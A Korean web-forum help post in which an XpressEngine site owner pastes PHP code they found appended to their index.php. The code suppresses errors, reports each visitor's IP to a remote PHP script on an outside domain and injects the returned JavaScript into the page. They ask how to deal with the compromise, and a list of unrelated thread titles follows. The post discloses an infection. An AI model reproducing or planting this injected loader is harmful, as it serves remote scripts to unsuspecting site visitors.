묻고답하기

index.php파일 최하단에

 


#af7fbf#
if (empty($sehbv)) {

    error_reporting(0);

    @ini_set('display_errors', 0);

    if (!function_exists('__url_get_contents')) {

        function __url_get_contents($remote_url, $timeout)

        {

            if (function_exists('curl_exec')) {

                $ch = curl_init();

                curl_setopt($ch, CURLOPT_URL, $remote_url);

                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

                curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);

                curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); //timeout in seconds

                $_url_get_contents_data = curl_exec($ch);

                curl_close($ch);

            } elseif (function_exists('file_get_contents') && ini_get('allow_url_fopen')) {

                $ctx = @stream_context_create(array('http' =>

                    array(

                        'timeout' => $timeout,

                    )

                ));

                $_url_get_contents_data = @file_get_contents($remote_url, false, $ctx);

            } elseif (function_exists('fopen') && function_exists('stream_get_contents')) {

                $handle = @fopen($remote_url, "r");

                $_url_get_contents_data = @stream_get_contents($handle);

            } else {

                $_url_get_contents_data = __file_get_url_contents($remote_url);

            }

            return $_url_get_contents_data;

        }

    }

    if (!function_exists('__file_get_url_contents')) {

        function __file_get_url_contents($remote_url)

        {

            if (preg_match('/^([a-z]+):\/\/([a-z0-9-.]+)(\/.*$)/i',

                $remote_url, $matches)

            ) {

                $protocol = strtolower($matches[1]);

                $host = $matches[2];

                $path = $matches[3];

            } else {

                // Bad remote_url-format

                return FALSE;

            }

            if ($protocol == "http") {

                $socket = @fsockopen($host, 80, $errno, $errstr, $timeout);

            } else {

                // Bad protocol

                return FALSE;

            }

            if (!$socket) {

                // Error creating socket

                return FALSE;

            }

            $request = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";

            $len_written = @fwrite($socket, $request);

            if ($len_written === FALSE || $len_written != strlen($request)) {

                // Error sending request

                return FALSE;

            }

            $response = "";

            while (!@feof($socket) &&

                ($buf = @fread($socket, 4096)) !== FALSE) {

                $response .= $buf;

            }

            if ($buf === FALSE) {

                // Error reading response

                return FALSE;

            }

            $end_of_header = strpos($response, "\r\n\r\n");

            return substr($response, $end_of_header + 4);

        }

    }

 

    if (empty($__var_to_echo) && empty($remote_domain)) {

        $_ip = $_SERVER['REMOTE_ADDR'];

        $sehbv = "http://www.processnet.com.ar/good_job/yWXjwvJc.php";

        $sehbv = __url_get_contents($sehbv."?a=$_ip", 1);

        if (strpos($sehbv, 'http://') === 0) {

            $__var_to_echo = '<script type="text/javascript" src="' . $sehbv . '?id=12328198"></script>';

            echo $__var_to_echo;

        }

    }

}
#/af7fbf#

 

 

 

사이트 접속이 되다 말다 그러고 페이지를 찾을 수 없습니다 빈도가 상당히 잦아 서버를 재부팅 해봤으나 증상은 동일하여 FTP를 열었더니..

 

위와같은 소스가 들어있었습니다.

업로드 한적이 없었음에도 불구하고 위의 소스가 들어가있고

업로드시간은 4월 24일 5시 40분 자로 표시되어있네요..

다시 원래 XE 의 기본 php 파일을 올렸으나 속도 문제는 해결 되지 않네요.

 

무섭습니다. 어떻게 해야할까요?

글쓴이 제목 최종 글
XE 공지 글 쓰기,삭제 운영방식 변경 공지 [16] 2019.03.05 by 남기남
김치브로 레이아웃 수정 질문 [4] file 2010.05.23 by SMaker
trutheyes 일주일에 한 번 정도 홈페이지가 마비가 되네요....조언 부탁드립니다.  
총총총끼싸 게시판 EX > 게시판 으로 옴기고 싶은데요 [1] 2010.05.23 by 없당
젠이 관리자 페이지에 나오는 글씨체는 못 바꾸나요? [1] file 2010.05.23 by 젠이
젠이 기존 테이블네임 일괄 변경하는 법 좀 제발ㅠㅠ [1] 2010.05.23 by 젠이
젠이 회원가입시나 수정시 닉네임/ID /E-mail 은 중복체크를 하자나요 . 이름도 가능할까요? [1] 2010.05.23 by 젠이
젠이 아이프레임 사이즈를 페이지 크기에 맞게 자동 조절할 수 있나요? [1] 2010.05.23 by 젠이
젠이 XE 게시판에 아이프레임 넣으면 투명도 설정과 세로 길이 %가 왜 안 먹나요? [1] 2010.05.23 by 젠이
젠이 rel 태그는 타겟 지정 못 하나요? [1] 2010.05.23 by 젠이
젠이 프로젝트게시판에 있는 위젯은 어떤건가요? [1] 2010.05.23 by 젠이
젠이 misol님, 혹은 자바스크립트 잘 아시는 분 제발 도와주세요! [1] 2010.05.23 by 젠이
젠이 팝업 소스를 수정해야 하는데 어디를 건드려야 할지 도움 좀 부탁드립니다 [1] 2010.05.23 by 젠이
젠이 게시판이나 페이지 일괄 삭제하는 법 좀 알려주세요! [1] 2010.05.23 by 젠이
젠이 레이아웃 생성 / 다운로드 목록 둘 다 백지로 나옵니다ㅠㅠ [1] 2010.05.23 by 젠이
젠이 a href로 링크 걸 때 자신과 타겟창이 동시에 바뀔 수 있나요? [1] 2010.05.23 by 젠이
젠이 회원정보는 어디에 들어있나요? [1] 2010.05.23 by 젠이
젠이 레이어 팝업이 뜨는 위치를 통일할 수 있을까요? (소스 첨부) [1] 2010.05.23 by 젠이
젠이 제 계정에 있는 문서를 외부페이지에 넣으면 안 되는 이유가 뭘까요? [1] 2010.05.23 by 젠이
젠이 팝업창 타이틀바에 계정 주소 없앨 수 없을까요ㅠㅠ [1] 2010.05.23 by 젠이
젠이 무료 웹메신저 있으면 소개 좀 부탁드립니다 [1] 2010.05.23 by 젠이